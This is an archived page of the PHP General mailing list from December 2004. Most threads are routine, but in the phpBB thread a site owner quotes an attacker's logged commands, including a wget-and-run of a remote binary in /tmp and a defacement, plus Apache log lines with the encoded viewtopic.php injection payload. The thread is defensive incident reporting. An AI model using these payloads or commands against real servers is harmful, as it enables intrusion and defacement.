To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Strange issues with header output

2004-12-22 Thread daniel
Hi there, I have been building a player script which outputs a windows
media asx playlist with theheader output type of video-ms-wmv. I have 
experienced some wierd issues
when i use ifstatements at certain points with the header tag enclosed within 
it, i get
unexpected results on themac plugin. "Playlist format is unrecognised" Ie

if ($_SESSION['referer_checked']) {

header(aplicationtype ...);
echo $asx_playtlist here
}

Is there somehow that an if statement is adding stuff to the header when
it shouldnt be ? Therecould also be the possibility the plugin doesnt start a 
session or
something, even though itsloading a php script as its filename ?

Let me know what could be the issues.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
John Holmes wrote:
From: John Nichel <[EMAIL PROTECTED]>

I'm currently going thru logs from previous days to see if I was getting 
this 'attack' before upgrading to php v4.3.10

That's why I'm wanted to post this here...just in case it isn't phpBB 
problem.

Many people were trying to tie the vulnerabilities with PHP 4.3.9 to this attack the vulnerabilities in phpBB, but from what I read they were unrelated. Are you on a shared server at all? It may be possible that someone else got attacked and took everyone with them...
Yeah, I had been reading about that, but this didn't happen until after 
I upgraded to 4.3.10.  I had upgraded to phpBB 2.0.11, about two weeks 
ago.  That was confusing the hell out of me...here I was using the most 
recent versions of both phpBB and PHP 4.x, and it still happened...not 
to mention it happening about 1.5 hours after upgrading php.  We're on a 
dedicated box, and my Rush site is the only one running phpBB, and after 
digging for the rest of today, I found that it was definitely the fault 
of phpBB. This post was pointed out to me by a list member...

http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513
So I made that change too, even though I *thought* it was changed in 
v2.0.11.  Course, I probably screwed something up when patching the 
files. ;) I disabled the system() function too, just in case.  These are 
all the system calls it made...

echo ___INICIO___;uname -a;echo ___FIM___;
echo ___INICIO___;cat /proc/cpuinfo;echo ___FIM___;
echo ___INICIO___;cat /usr/local/apache/conf/httpd.conf;echo ___FIM___;
echo ___INICIO___;cat /usr/local/apache/;ls;echo ___FIM___;
echo ___INICIO___;echo hh > hac.hrml;ls;echo ___FIM___;
echo ___INICIO___;echo H4ck3rSBR ownz your by xdr0p455 > index.php;echo 
___FIM___;
echo ___INICIO___;pwd;echo ___FIM___;
echo ___INICIO___;pwd;echo ___FIM___;
echo ___INICIO___;pwd;echo ___FIM___;
echo ___INICIO___;mv -f index.php 
/webserver/vhosts/by-tor.com/docs/index.php;echo ___FIM___;
echo ___INICIO___;cd /tmp;wget 
http://www.intranorth.com.br/xpl/r0nin;chmod 777 r0nin;./r0nin;echo 
___FIM___;
echo ___INICIO___;pwd;echo ___FIM___;
echo ___INICIO___;id;echo ___FIM___;

I'm still trying to figure out how it found all the rest of my vhosts on 
that box.  I see it did a cat /usr/local/apache/conf/httpd.conf to try 
and read my Apache config file, but mine doesn't live there.  It also 
downloaded a file from a Brazilian website, and executed it in the /tmp 
directory...I deleted all of those, but saved one to 'play' with later.

With any luck, someone else will read thru this, and maybe they'll be 
luckier than I.

--
By-Tor.com
...it's all about the Rush
http://www.by-tor.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Jason Wong
On Thursday 23 December 2004 06:28, Chris Mason wrote:
> I had a later php so my phpBB did not get hacked. However, on another
> dedicated server, I am running Redhat 7.3 and it would be dificult at
> present to move to a more up to date server. I can't find a more recent
> rpm, is there a way I can patch the source rpm to fix this vunerability?

Stop relying on RPMs and compile Apache + PHP from source. That way you can 
get all the latest bugs.

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
--
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
--
/*
 *sigh*  My todo list is like the fucking energizer bunny
 It keeps growing and growing and growing and ...
*/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Donald Tyler
[EMAIL PROTECTED] wrote:
Quoting Donald Tyler <[EMAIL PROTECTED]>:
 

I did RTFM. The exact page you linked to in fact:
QUOTE:
 Requirements
In order to have these functions available, you must compile PHP with
support for the mysqli extension.
END QUOTE
That is the whole point of my request. I need a guide explaining *how*
to compile the PHP Source.
   

The directions to compile the PHP source *are* on the page at
http://us4.php.net/manual/en/install.unix.php -- you compile it using the
"make" steps in the directions there.
(But it seems the problem is that you don't recognize those as compilation
instructions, which is understandable if you're a newbie.  The page also says
that
Basic Unix skills (being able to operate "make" and a C compiler)
are a prerequisite, so you probably should find a person you can rely on to
deliver those skills repeatably or teach them to you, which is not something
you really get from a mailing list.  Get a good intor Unix book.  After all,
you wouldn't expect that if you subscribed to a heart surgery mailing list and
said "I'm a complete newbie -- can you tell me how to do a quadruple bypass?"
someone would step you through it?  Yes, there are differences in degree,
but...!  :)
 

OK, I guess I'll try to read the instructions again. I *have* tried 
reading them on multiple occasions but its just greek to me.

I do have a rudimentary knowledge of *nix stuff and am very computer 
literate, but most of the programming I have done is with scripting 
languages such as Actionscript, Javascript, PHP etc. I realy have no 
idea about compiling source code.

I was just hoping for something in laymans terms I guess...
Thanks for your responses.
Wish me luck.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Chris Mason
I had a later php so my phpBB did not get hacked. However, on another
dedicated server, I am running Redhat 7.3 and it would be dificult at
present to move to a more up to date server. I can't find a more recent rpm,
is there a way I can patch the source rpm to fix this vunerability?

Chris Mason

-- 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.296 / Virus Database: 265.6.3 - Release Date: 12/21/2004
 

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> From: "Ashley M. Kirchner" <[EMAIL PROTECTED]>

> >I thought we all knew better than to use phpBB?
> >
> I'd be interested to know what other applications you suggest that 
> compares to phpBB.  Just for my own curiosity.

Invision Power Board or vBulletin. Yes, both cost money (now, at least) but 
they are cheap and worth it. Older versions of Invision Power Board were free, 
so you can use them if you can find them (my site came with v1.2 for free). 

Free is good, but take a look at the track record and make your own decisions. 
I'm also not saying that either of the above are better simply because you pay 
for them. They are simply better and worth the small cost ($70-80US) for a 
serious web site. I'd purchase IPB in a second if I had to pay for a forum. 

It really all comes to personal preference, though. 

---John Holmes...

UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Newbie question? diagnosing a script

2004-12-22 Thread Al Guevara

Hi Yall!

I dont know if Im goin overboard askin this, but here goes... What /how does 
one use to diagnose a php script (for a link exchange) as to why it wont 
work/write to the file? With Cgi, one can use a telnet shell.. is there a 
thing to use for diagnosing php?

Thank Mucho


submit page
http://www.arizona-commercial-real-estate.com/links/submit.php

page script writes to
http://www.arizona-commercial-real-estate.com/links/index.php

zip file of entire php script folder
http://www.arizona-commercial-real-estate.com/links.zip

phpinfo
http://www.arizona-commercial-real-estate.com/test.php



Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> From: John Nichel <[EMAIL PROTECTED]>

> I'm currently going thru logs from previous days to see if I was getting 
> this 'attack' before upgrading to php v4.3.10
> 
> That's why I'm wanted to post this here...just in case it isn't phpBB 
> problem.

Many people were trying to tie the vulnerabilities with PHP 4.3.9 to this 
attack the vulnerabilities in phpBB, but from what I read they were unrelated. 
Are you on a shared server at all? It may be possible that someone else got 
attacked and took everyone with them...

---John Holmes...

UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread John Nichel
Donald Tyler wrote:
I did RTFM. The exact page you linked to in fact:
QUOTE:
 Requirements
In order to have these functions available, you must compile PHP with 
support for the mysqli extension.

END QUOTE
That is the whole point of my request. I need a guide explaining *how* 
to compile the PHP Source.
Compile the PHP source the same way you would compile any other source. 
 If you don't know how to compile at all, I suggest going to Google and 
typing in something like "How to compile source code "

--
John C. Nichel
ÜberGeek
KegWorks.com
716.856.9675
[EMAIL PROTECTED]
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Bruce Douglas
if you want to know/have a rough guide on building/compiling php with 
mysql/mysqli support, the following link should help you out... although it's 
for linux..


http://marc.theaimsgroup.com/?l=php-general&m=109026859726530&w=2

it kind of walks you through what you need to do..

hope it helps...

peace..


-Original Message-
From: [EMAIL PROTECTED]
Sent: Dec 22, 2004 2:10 PM
To: Donald Tyler <[EMAIL PROTECTED]>
Cc: php-general@lists.php.net
Subject: Re: [PHP] Compiling PHP Source guides

Quoting Donald Tyler <[EMAIL PROTECTED]>:

> I did RTFM. The exact page you linked to in fact:
>
> QUOTE:
>
>
>   Requirements
>
> In order to have these functions available, you must compile PHP with
> support for the mysqli extension.
>
>
> END QUOTE
>
> That is the whole point of my request. I need a guide explaining *how*
> to compile the PHP Source.

The directions to compile the PHP source *are* on the page at
http://us4.php.net/manual/en/install.unix.php -- you compile it using the
"make" steps in the directions there.

(But it seems the problem is that you don't recognize those as compilation
instructions, which is understandable if you're a newbie.  The page also says
that

 Basic Unix skills (being able to operate "make" and a C compiler)

are a prerequisite, so you probably should find a person you can rely on to
deliver those skills repeatably or teach them to you, which is not something
you really get from a mailing list.  Get a good intor Unix book.  After all,
you wouldn't expect that if you subscribed to a heart surgery mailing list and
said "I'm a complete newbie -- can you tell me how to do a quadruple bypass?"
someone would step you through it?  Yes, there are differences in degree,
but...!  :)

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] hackers?

2004-12-22 Thread Manuel Lemos
Hello Sebastian,
Sebastian said the following:
not sure if this is a stupid question,
but im looking for a person or a place that will check or try to "break" a
site.
not in a bad way of course.. just trying to see things from a security
point. you can be the best coder out there and still have a flaw that you
might not see, but another might. so.. just like to know if there are any
volunteers out there that have experience in  "breaking" a site looking for
flaws.
I usually recommend the Security Space services. They make exactly the 
security tests that you want to determine if your servers are vulnerable 
for to any known exploits.

This is an automated remote service. So, you can choose to run all 
tests, or only those that do not crash your server in case it would not 
be a good idea to make your server halt.

Here you can find more information:
http://www.securityspace.com/sspace/index.html?refid=1057382149
But if you want to just try their service without paying anything until 
you see what their security reports can tell about your servers, you can 
try the Free Audit.

The reports will tell you about all low risk vulnerabilities. They also 
tell you if you have any high risk vulnerabilities but do not provide 
more details until you pay for the full report. This way you can try 
their audits and only pay if you think it may be worth it. I already 
tried this several times and it was well worth it.

http://www.securityspace.com/smysecure/norisk_index.html?refid=1057382149
--
Regards,
Manuel Lemos
PHP Classes - Free ready to use OOP components written in PHP
http://www.phpclasses.org/
PHP Reviews - Reviews of PHP books and other products
http://www.phpclasses.org/reviews/
Metastorage - Data object relational mapping layer generator
http://www.meta-language.net/metastorage.html
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread rogerk
Quoting Donald Tyler <[EMAIL PROTECTED]>:

> I did RTFM. The exact page you linked to in fact:
>
> QUOTE:
>
>
>   Requirements
>
> In order to have these functions available, you must compile PHP with
> support for the mysqli extension.
>
>
> END QUOTE
>
> That is the whole point of my request. I need a guide explaining *how*
> to compile the PHP Source.

The directions to compile the PHP source *are* on the page at
http://us4.php.net/manual/en/install.unix.php -- you compile it using the
"make" steps in the directions there.

(But it seems the problem is that you don't recognize those as compilation
instructions, which is understandable if you're a newbie.  The page also says
that

 Basic Unix skills (being able to operate "make" and a C compiler)

are a prerequisite, so you probably should find a person you can rely on to
deliver those skills repeatably or teach them to you, which is not something
you really get from a mailing list.  Get a good intor Unix book.  After all,
you wouldn't expect that if you subscribed to a heart surgery mailing list and
said "I'm a complete newbie -- can you tell me how to do a quadruple bypass?"
someone would step you through it?  Yes, there are differences in degree,
but...!  :)

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Jason Barnett
Donald Tyler wrote:
I did RTFM. The exact page you linked to in fact:
QUOTE:
 Requirements
In order to have these functions available, you must compile PHP with 
support for the mysqli extension.

END QUOTE
That is the whole point of my request. I need a guide explaining *how* 
to compile the PHP Source.


OK... what OS are you compiling for?  What extensions do you want?  PHP 
as a module or as a standalone?  I understand that you haven't done this 
before... but you need to be more specific in your question if you want 
a more specific answer.


--
Teach a person to fish...
Ask smart questions: http://www.catb.org/~esr/faqs/smart-questions.html
PHP Manual: http://php.net/manual/
php-general archives: http://marc.theaimsgroup.com/?l=php-general&w=2
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Donald Tyler
I did RTFM. The exact page you linked to in fact:
QUOTE:
 Requirements
In order to have these functions available, you must compile PHP with 
support for the mysqli extension.

END QUOTE
That is the whole point of my request. I need a guide explaining *how* 
to compile the PHP Source.


John Nichel wrote:
Donald Tyler wrote:
Hi,
I am looking for a guide on compiling PHP 4. I am a complete newbie 
to compiling and have no idea where to start, so any links to guides 
and/or other useful info would be much appreciated.

My reason is that I need MySQL 4 support, but I would like to get a 
general overview of compiling a program source in general.

Thanks in advance.
Donald Tyler

I'd say RTFM, but I don't want to offend anyone's sensibilities, so...
http://us4.php.net/manual/en/install.unix.php
MySQL up too 4.0...
http://us4.php.net/manual/en/ref.mysql.php
MySQL >= 4.1
http://us4.php.net/manual/en/ref.mysqli.php
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: Replacing whole words only

2004-12-22 Thread Daniel Schierbeck
Chris Boget wrote:
Is there a way to replace/remove *whole* words from a
phrase?  For example:

  if( count( $exceptionsList ) > 0 ) {
foreach( $exceptionsList as $exceptionPhrase ) {
  $stringToParse = str_replace( $exceptionPhrase, '', trim(
$stringToParse ));
}
$retval = trim( $stringToParse );
  }
  echo 'Retval: ' . $retval . '';
?>
results in "The or ldy lughed" and not "lady laughed".  Using
the other *_replace() functions give the same results.  So is
what I'm looking to do even possible?
thnx,
Chris
$exceptions = array('the', , 'other', 'that', 'a');
$string = 'The other lady that laughed';
   foreach ($exsceptions as $exception) {
  $string = str_replace(' ' . $exception . ' ', '', $string);
   }
You might need to convert the string to either lower- or uppercase.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] hackers?

2004-12-22 Thread phpninja
Not many people will do this for free, and there area actually whole
IT security firms that base their whole buisness on trying to break
peoples systems. Check this google search under the sponsered links on
the right and you'll see what im talking about:

http://www.google.com/search?hl=en&lr=&q=network+security+auditing

-phpninja

-Original Message-
From: Sebastian [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, December 22, 2004 12:22 PM
To: php-general@lists.php.net
Subject: [PHP] hackers?

not sure if this is a stupid question,
but im looking for a person or a place that will check or try to "break" a
site.

not in a bad way of course.. just trying to see things from a security
point. you can be the best coder out there and still have a flaw that you
might not see, but another might. so.. just like to know if there are any
volunteers out there that have experience in  "breaking" a site looking for
flaws.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] hackers?

2004-12-22 Thread Vail, Warren
> 
> not sure if this is a stupid question,
> but im looking for a person or a place that will check or try 
> to "break" a site.
> 
Does sound a little like walking into a tough bar with a gun looking for
someone to shoot you, but while I would be tempted to lurk around these
guy's a little to figure out who could do the work, I would probably start
lurking at;

http://www.zone-h.org

Perhaps reading on their "hall of fame" Top Attackers.  This is where I went
when a couple of my sites were hacked.

Lots of good info on this site if you are just looking for info on
vulnerabilities.

Be Careful,

Warren Vail


 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] hackers?

2004-12-22 Thread Chris Boget
> not sure if this is a stupid question,
> but im looking for a person or a place that will check or try to "break" a
> site.

Check out Netcraft.  They are very good though quite pricey, however.

thnx,
Chris

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Ashley M. Kirchner
John Holmes wrote:
I thought we all knew better than to use phpBB?
   I'd be interested to know what other applications you suggest that 
compares to phpBB.  Just for my own curiosity.

--
W | I haven't lost my mind; it's backed up on tape somewhere.
 +
 Ashley M. Kirchner    .   303.442.6410 x130
 IT Director / SysAdmin / Websmith . 800.441.3873 x130
 Photo Craft Laboratories, Inc.. 3550 Arapahoe Ave. #6
 http://www.pcraft.com . .  ..   Boulder, CO 80303, U.S.A.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] hackers?

2004-12-22 Thread Sebastian
not sure if this is a stupid question,
but im looking for a person or a place that will check or try to "break" a
site.

not in a bad way of course.. just trying to see things from a security
point. you can be the best coder out there and still have a flaw that you
might not see, but another might. so.. just like to know if there are any
volunteers out there that have experience in  "breaking" a site looking for
flaws.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: can I compile php source

2004-12-22 Thread Manuel Lemos
Hello,
on 12/22/2004 01:52 PM Qt said the following:
can you suggest any good compiler?
AFAIK, there is only one PHP compiler: Roadsend
http://www.roadsend.com/
--
Regards,
Manuel Lemos
PHP Classes - Free ready to use OOP components written in PHP
http://www.phpclasses.org/
PHP Reviews - Reviews of PHP books and other products
http://www.phpclasses.org/reviews/
Metastorage - Data object relational mapping layer generator
http://www.meta-language.net/metastorage.html
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
John Holmes wrote:
From: John Nichel <[EMAIL PROTECTED]>

I haven't fully researched it yet, but our domains were just hacked, and 
from the looks of it, the attack came in thru phpBB.

Not keeping up with the news, eh? ;)
There was a big discussion about this on slashdot and other news sites. The worm actually uses Google to search for sites "Powered by phpBB" and then attacks them. 

I thought we all knew better than to use phpBB? Why not just install phpNuke 
and some random guestbook and shell access script while you're at it?!?! ;)
---John Holmes...
UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html
I like to live dangerously. ;)
Butthis is supposed to be fixed in phpBB 2.0.11.
I'm currently going thru logs from previous days to see if I was getting 
this 'attack' before upgrading to php v4.3.10

That's why I'm wanted to post this here...just in case it isn't phpBB 
problem.

--
John C. Nichel
ÜberGeek
KegWorks.com
716.856.9675
[EMAIL PROTECTED]
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Roger Spears
John Nichel wrote:
I haven't fully researched it yet, but our domains were just hacked, and 
from the looks of it, the attack came in thru phpBB.  This morning, 
around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due 
to potential security risks, and at 11:30 it looks as if the attack 
started.  By 11:48, all of the php pages, on all of our domains were 
replaced by one like this...

http://john.nichel.net
I don't know if this is a PHP problem or a phpBB problem as of yet, but 
I wanted to get the word out here so that y'all can take precautions if 
neccessary.  I disabled the system() function on our box, and may need 
to take further action as I discover more.

Below is what I believe to be the 'offensive' access from the Apache 
logs on the domain where the attack started.  If you see something that 
I'm missing, please let the list know.
To quote someone semi-famous"Google is your friend"  :-)
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
Ashley M. Kirchner wrote:
John Nichel wrote:
I haven't fully researched it yet, but our domains were just hacked, 
and from the looks of it, the attack came in thru phpBB.  This 
morning, around 9:00am, I upgraded our webserver to php v4.3.10 from 
v4.3.9 due to potential security risks, and at 11:30 it looks as if 
the attack started.  By 11:48, all of the php pages, on all of our 
domains were replaced by one like this...

http://john.nichel.net
I don't know if this is a PHP problem or a phpBB problem as of yet, 
but I wanted to get the word out here so that y'all can take 
precautions if neccessary.  I disabled the system() function on our 
box, and may need to take further action as I discover more.

   You're missing the fact that you need to read phpBB's web site from 
time to time.

I'm fully aware of what was written on phpBB's site, and have been 
running 2.0.11 (the latest version) for the past two weeks.

--
John C. Nichel
ÜberGeek
KegWorks.com
716.856.9675
[EMAIL PROTECTED]
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Jesse Castro

I haven't fully researched it yet, but our domains were just hacked, and

from the looks of it, the attack came in thru phpBB.  This morning, 
around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due 
to potential security risks, and at 11:30 it looks as if the attack 
started.  By 11:48, all of the php pages, on all of our domains were 
replaced by one like this...

http://john.nichel.net

I don't know if this is a PHP problem or a phpBB problem as of yet, but 
I wanted to get the word out here so that y'all can take precautions if 
neccessary.  I disabled the system() function on our box, and may need 
to take further action as I discover more.

Below is what I believe to be the 'offensive' access from the Apache 
logs on the domain where the attack started.  If you see something that 
I'm missing, please let the list know.


http://news.zdnet.com/2100-1009_22-5499725.html

regards,
Jesse

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Roger Spears
John Nichel wrote:
I haven't fully researched it yet, but our domains were just hacked, and 
from the looks of it, the attack came in thru phpBB.  This morning, 
around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due 
to potential security risks, and at 11:30 it looks as if the attack 
started.  By 11:48, all of the php pages, on all of our domains were 
replaced by one like this...
Isn't this a google hack?  I thought I just read something about this 
today.  They use google to find sites that have phpBB and then use a 
goodgle desktop application to hack

Check out http://www.google.com/news or http://www.cnn.com
I thought I just read it today
HTH,
Roger
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Ben
Ashley M. Kirchner wrote:
   You're missing the fact that you need to read phpBB's web site from 
time to time.
And subscribe to BugTraq.  It would have given you a month's warning.
- Ben
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> From: John Nichel <[EMAIL PROTECTED]>

> I haven't fully researched it yet, but our domains were just hacked, and 
> from the looks of it, the attack came in thru phpBB.

Not keeping up with the news, eh? ;)

There was a big discussion about this on slashdot and other news sites. The 
worm actually uses Google to search for sites "Powered by phpBB" and then 
attacks them. 

I thought we all knew better than to use phpBB? Why not just install phpNuke 
and some random guestbook and shell access script while you're at it?!?! ;)

---John Holmes...

UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Ashley M. Kirchner
John Nichel wrote:
I haven't fully researched it yet, but our domains were just hacked, 
and from the looks of it, the attack came in thru phpBB.  This 
morning, around 9:00am, I upgraded our webserver to php v4.3.10 from 
v4.3.9 due to potential security risks, and at 11:30 it looks as if 
the attack started.  By 11:48, all of the php pages, on all of our 
domains were replaced by one like this...

http://john.nichel.net
I don't know if this is a PHP problem or a phpBB problem as of yet, 
but I wanted to get the word out here so that y'all can take 
precautions if neccessary.  I disabled the system() function on our 
box, and may need to take further action as I discover more.
   You're missing the fact that you need to read phpBB's web site from 
time to time.

--
W | I haven't lost my mind; it's backed up on tape somewhere.
 +
 Ashley M. Kirchner    .   303.442.6410 x130
 IT Director / SysAdmin / Websmith . 800.441.3873 x130
 Photo Craft Laboratories, Inc.. 3550 Arapahoe Ave. #6
 http://www.pcraft.com . .  ..   Boulder, CO 80303, U.S.A.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
I haven't fully researched it yet, but our domains were just hacked, and 
from the looks of it, the attack came in thru phpBB.  This morning, 
around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due 
to potential security risks, and at 11:30 it looks as if the attack 
started.  By 11:48, all of the php pages, on all of our domains were 
replaced by one like this...

http://john.nichel.net
I don't know if this is a PHP problem or a phpBB problem as of yet, but 
I wanted to get the word out here so that y'all can take precautions if 
neccessary.  I disabled the system() function on our box, and may need 
to take further action as I discover more.

Below is what I believe to be the 'offensive' access from the Apache 
logs on the domain where the attack started.  If you see something that 
I'm missing, please let the list know.

201.9.192.212   -   -   [22/Dec/2004:11:30:43 -0500]GET 
/temp_forums/viewtopic.php?t=111&highlight=%2527%252esystem(chr(105)%252echr(100))%252e%2527 
HTTP/1.1   200 101693  -   Mozilla/3.0 (compatible; Indy 
Library)
201.9.192.212   -   -   [22/Dec/2004:11:34:41 -0500]GET 
/temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(117)%252echr(110)%252echr(97)%252echr(109)%252echr(101)%252echr(32)%252echr(45)%252echr(97)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 
HTTP/1.1  200 91134   -   Mozilla/3.0 (compatible; Indy Library)
201.9.192.212   -   -   [22/Dec/2004:11:34:59 -0500]GET 
/temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(112)%252echr(114)%252echr(111)%252echr(99)%252echr(47)%252echr(99)%252echr(112)%252echr(117)%252echr(105)%252echr(110)%252echr(102)%252echr(111)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 
HTTP/1.1200 110263  -  Mozilla/3.0 (compatible; Indy Library)
201.9.192.212   -   -   [22/Dec/2004:11:35:43 -0500]GET 
/temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)%252echr(108)%252echr(111)%252echr(99)%252echr(97)%252echr(108)%252echr(47)%252echr(97)%252echr(112)%252echr(97)%252echr(99)%252echr(104)%252echr(101)%252echr(47)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(47)%252echr(104)%252echr(116)%252echr(116)%252echr(112)%252echr(100)%252echr(46)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 
HTTP/1.1 200 80061  -Mozilla/3.0 (compatible; Indy Library)
201.9.192.212   -   -   [22/Dec/2004:11:35:50 -0500]GET 
/temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)%252echr(108)%252echr(111)%252echr(99)%252echr(97)%252echr(108)%252echr(47)%252echr(97)%252echr(112)%252echr(97)%252echr(99)%252echr(104)%252echr(101)%252echr(47)%252echr(59)%252echr(108)%252echr(115)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 
HTTP/1.1  200103205   -   Mozilla/3.0 (compatible; Indy Library)
201.9.192.212   -   -   [22/Dec/2004:11:36:06 -0500]GET 
